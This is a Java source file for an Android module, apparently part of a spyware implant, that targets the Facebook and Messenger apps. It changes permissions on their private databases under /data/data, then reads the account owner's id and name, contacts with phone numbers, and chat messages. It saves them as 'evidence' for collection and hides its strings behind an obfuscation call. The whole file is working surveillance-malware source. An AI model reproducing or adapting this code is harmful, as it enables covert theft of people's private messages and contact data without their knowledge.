package com.android.dvci.module.chat;

import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
import java.util.concurrent.Semaphore;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.json.JSONTokener;

import android.database.Cursor;

import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordHashPairVisitor;
import com.android.dvci.db.RecordHashtableIdVisitor;
import com.android.dvci.db.RecordListVisitor;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;

public class ChatFacebook extends SubModuleChat {

	private static final String TAG = "ChatFacebook";

	private static final int PROGRAM = 0x02;
	String pObserving = M.e("com.facebook.");

	private Date lastTimestamp;

	private Hashtable<String, Long> lastFb;
	Semaphore readChatSemaphore = new Semaphore(1, true);

	// private String dbDir;
	private String account_uid;

	private String account_name;

	String dirKatana = M.e("/data/data/com.facebook.katana/databases");
	String dirOrca = M.e("/data/data/com.facebook.orca/databases");

	private Hashtable<String, Contact> contacts = new Hashtable<String, Contact>();

	@Override
	public int getProgramId() {
		return PROGRAM;
	}

	@Override
	String getObservingProgram() {
		return pObserving;
	}

	@Override
	void notifyStopProgram(String processName) {
		if (processName.contains(M.e("katana")))
			fetchFb(dirKatana);
		else if (processName.contains(M.e("orca")))
			fetchFb(dirOrca);
	}

	@Override
	protected void start() {
		lastFb = markup.unserialize(new Hashtable<String, Long>());
		if (Cfg.DEBUG) {
			Check.log(TAG + " (start), read lastFb: " + lastFb);
		}

		if (!fetchFb(dirOrca)) {
			fetchFb(dirKatana);
		}
	}

	private boolean fetchFb(String dir) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (fetchFb) " + dir);
		}
		if (readMyAccount(dir)) {
			ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.FACEBOOK, account_uid, account_name);
			readFbMessageHistory(dir);
			return true;
		}
		return false;
	}

	@Override
	protected void stop() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (stop), ");
		}
	}

	private boolean readMyAccount(String dbDir) {

		String dbFile = M.e("prefs_db");

		if (!Path.unprotect(dbDir + "/" + dbFile, 3, false)) {

			if (Cfg.DEBUG) {
				Check.log(TAG + " (readMyAccount) cannot unprotect file: %s/%s", dbDir, dbFile);
			}
			return false;
		}

		GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
		if (helper == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readMyAccount) Error: cannot open " + dbDir + "/" + dbFile);
			}
			return false;
		}
		try {
			String selection = null;

			RecordHashPairVisitor visitor = new RecordHashPairVisitor("key", "value");
			helper.traverseRecords(M.e("preferences"), visitor);

			Hashtable<String, String> preferences = visitor.getMap();

			account_uid = preferences.get(M.e("/auth/user_data/fb_uid"));
			account_name = preferences.get(M.e("/auth/user_data/fb_username"));

			if (StringUtils.isEmpty(account_name)) {
				String account_user = preferences.get(M.e("/auth/user_data/fb_me_user"));
				try {
					JSONObject root = (JSONObject) new JSONTokener(account_user).nextValue();

					account_uid = root.getString("uid");
					account_name = root.getString("name");
				} catch (JSONException e) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readMyAccount) Error: " + e);
					}
				}
			}

			return (!StringUtils.isEmpty(account_name) && !StringUtils.isEmpty(account_uid));
		}finally{
			helper.disposeDb();
		}

	}

	private void readFbMessageHistory(String dbDir) {
		if (!readChatSemaphore.tryAcquire()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readFbMessageHistory), semaphore red");
			}
			return;
		}

		try {
			boolean updateMarkup = false;

			if (Cfg.DEBUG) {
				Check.log(TAG + " (readFbMessageHistory) account: " + account_uid + " dir: " + dbDir);
			}

			Path.unprotectAll(dbDir, true);

			if (ModuleAddressBook.getInstance() != null) {
				if (Path.unprotect(dbDir, M.e("users_db2"), true)) {
					readAddressUser(dbDir);

				} else if (Path.unprotect(dbDir, M.e("contacts_db2"), true)) {
					readAddressContacts(dbDir);
				}
			} else {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readFbMessageHistory) AddressBook not enabled.");
				}
			}

			String dbFile1 = M.e("threads_db");
			String dbFile2 = M.e("threads_db2");

			GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile1);
			if (helper == null) {
				helper = GenericSqliteHelper.open(dbDir, dbFile2);
			}
			if (helper == null) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (getFbConversations) Error: null helper");
				}
				return;
			}
			try{
				try {
					readFB(helper, M.e("thread_id"));
					return;
				} catch (Exception ex) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
					}
				}
				
				try {
					readFB(helper, "thread_key");
					return;
					
				} catch (Exception ex) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readFbMessageHistory) Error: " + ex);
					}
				}
		
			} finally{
				helper.disposeDb();
			}
		} finally {
			readChatSemaphore.release();
		}

	}

	private void readFB(GenericSqliteHelper helper, String field_id) {
		List<FbConversation> conversations = getFbConversations(field_id, helper, account_uid);
		for (FbConversation conv : conversations) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readFbMessageHistory) conversation: " + conv.id);
			}
			long lastConvId = lastFb.containsKey(conv.id) ? lastFb.get(conv.id) : 0;
			if (lastConvId < conv.timestamp) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readFbMessageHistory) lastConvId(" + lastConvId + ") < conv.timestamp("
							+ conv.timestamp + ")");
				}
				long lastReadId = (long) fetchMessages(field_id, helper, conv, lastConvId);

				if (lastReadId > 0) {
					updateMarkupFb(conv.id, lastReadId, true);
				}
			}
		}
	}

	private long fetchMessages(String id_field, GenericSqliteHelper helper, final FbConversation conv, long lastConvId) {
		final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();

		String[] projection = new String[] { M.e("text"), M.e("sender"), M.e("timestamp_ms") };
		String selection = String.format(id_field + M.e(" = '%s' and text != '' and timestamp_ms > %s"), conv.id,
				lastConvId);
		String order = M.e("timestamp_ms");

		RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
			@Override
			public long cursor(Cursor cursor) {

				long timestamp = 0;
				try {
					String body = cursor.getString(0);
					String sender = cursor.getString(1);

					JSONObject root = (JSONObject) new JSONTokener(sender).nextValue();
					String peer = root.getString(M.e("email")).split("@")[0];
					String name = root.getString(M.e("name"));

					// localtime or gmt? should be converted to gmt
					timestamp = cursor.getLong(2);
					Date date = new Date(timestamp);

					if (Cfg.DEBUG) {
						Check.log(TAG + " (cursor) sc.account: " + conv.account + " peer: " + peer + " body: " + body
								+ " timestamp:" + timestamp);
					}

					boolean incoming = !(peer.equals(conv.account));

					if (Cfg.DEBUG) {
						Check.log(TAG + " (cursor) incoming: " + incoming);
					}

					String from, to = null;
					String fromDisplay, toDisplay = null;

					from = peer;
					fromDisplay = name;

					to = conv.getTo(peer);
					toDisplay = conv.getDisplayTo(peer);

					if (!StringUtils.isEmpty(body)) {
						MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
								body, incoming);

						messages.add(message);
					}

				} catch (Exception ex) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (fetchMessages) Error: " + ex);
					}
				}
				return timestamp;

			}
		};

		long newLastId = helper.traverseRecords(M.e("messages"), visitor);

		if (messages != null && messages.size() > 0) {
			saveEvidence(messages);
		}

		return newLastId;
	}

	private void updateMarkupFb(String threadId, long newLastId, boolean serialize) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (updateMarkupSkype), mailStore: " + threadId + " +lastId: " + newLastId);
		}

		lastFb.put(threadId, newLastId);
		try {
			if (serialize || (newLastId % 10 == 0)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (updateMarkupSkype), write lastId: " + newLastId);
				}
				markup.writeMarkupSerializable(lastFb);
			}
		} catch (IOException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (updateMarkupSkype) Error: " + e);
			}
		}
	}

	public void saveEvidence(ArrayList<MessageChat> messages) {
		getModule().saveEvidence(messages);
	}

	private List<FbConversation> getFbConversations(String id_field, GenericSqliteHelper helper, final String account) {
		if (helper == null) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (getFbConversations) Error: null helper");
			}
			return null;
		}

		final List<FbConversation> conversations = new ArrayList<FbConversation>();

		// "thread_id"
		String[] projection = new String[] { id_field, M.e("participants"), M.e("timestamp_ms") };
		String selection = M.e("timestamp_ms > 0 ");

		RecordVisitor visitor = new RecordVisitor(projection, selection) {

			@Override
			public long cursor(Cursor cursor) {
				FbConversation c = new FbConversation();
				c.account = account;
				c.id = cursor.getString(0);

				String value = cursor.getString(1);
				c.timestamp = cursor.getLong(2);
				Contact[] contacts;
				try {
					contacts = json2Contacts(value);
					c.contacts = contacts;
					if (Cfg.DEBUG) {
						// Check.log(TAG + " (cursor) contacts: " +
						// contacts[0].name + " -> " + contacts[1].name);
					}
				} catch (JSONException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}

				conversations.add(c);
				return 0;
			}
		};

		helper.traverseRecords(M.e("threads"), visitor);
		return conversations;
	}

	private void readAddressUser(String dbDir) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (readAddressUser) ");
		}
		String dbFile = M.e("users_db2");
		GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
		// SQLiteDatabase db = helper.getReadableDatabase();

		String[] projection = StringUtils.split( M.e("fbid,first_name,last_name,name,email_addresses,phone_numbers") );
		String selection = null;

		RecordHashtableIdVisitor visitor = new RecordHashtableIdVisitor(projection);
		helper.traverseRecords("facebook_user", visitor);

	}

	private void readAddressContacts(String dbDir) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (readAddressContacts) ");
		}
		String dbFile = M.e("contacts_db2");
		GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
		// SQLiteDatabase db = helper.getReadableDatabase();

		RecordListVisitor visitor = new RecordListVisitor("data");
		helper.traverseRecords(M.e("contacts"), visitor);
		boolean serializeContacts = false;
		for (String value : visitor.getList()) {
			try {
				Contact contact = json2Contact(value);
				serializeContacts |= ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.FACEBOOK, contact);
				contacts.put(contact.id, contact);
			} catch (JSONException e) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readAddressContacts) Error: " + e);
				}
			}
		}
		if (serializeContacts) {
			ModuleAddressBook.getInstance().serializeContacts();
		}
	}

	private Contact json2Contact(String value) throws JSONException {
		JSONObject root = (JSONObject) new JSONTokener(value).nextValue();
		String fbId = root.getString(M.e("profileFbid"));
		JSONObject name = root.getJSONObject(M.e("name"));
		String fullName = name.getString(M.e("displayName"));

		JSONArray phones = root.getJSONArray(M.e("phones"));
		String numbers = "";
		for (int i = 0; i < phones.length(); i++) {
			numbers += phones.getJSONObject(i).get(M.e("universalNumber")) + " ";
		}
		// String picture = root.getString("bigPictureUrl");
		Contact contact = new Contact(fbId, numbers, fullName, "Id: " + fbId);
		return contact;
	}

	private Contact[] json2Contacts(String value) throws JSONException {
		JSONArray jcontacts = (JSONArray) new JSONTokener(value).nextValue();

		Contact[] contacts = new Contact[jcontacts.length()];
		for (int i = 0; i < jcontacts.length(); i++) {

			JSONObject root = (JSONObject) jcontacts.get(i);
			if (Cfg.DEBUG) {
				Check.log(TAG + " (json2Contacts) root: " + root);
			}

			String email = root.getString(M.e("email"));
			String fbId = email.split("@")[0];

			String fullName = root.getString(M.e("name"));

			Contact contact = new Contact(fbId, "", fullName, M.e("Id: ") + fbId);
			if (Cfg.DEBUG) {
				Check.log(TAG + " (json2Contacts) " + contact);
			}
			contacts[i] = contact;
		}
		return contacts;
	}
}
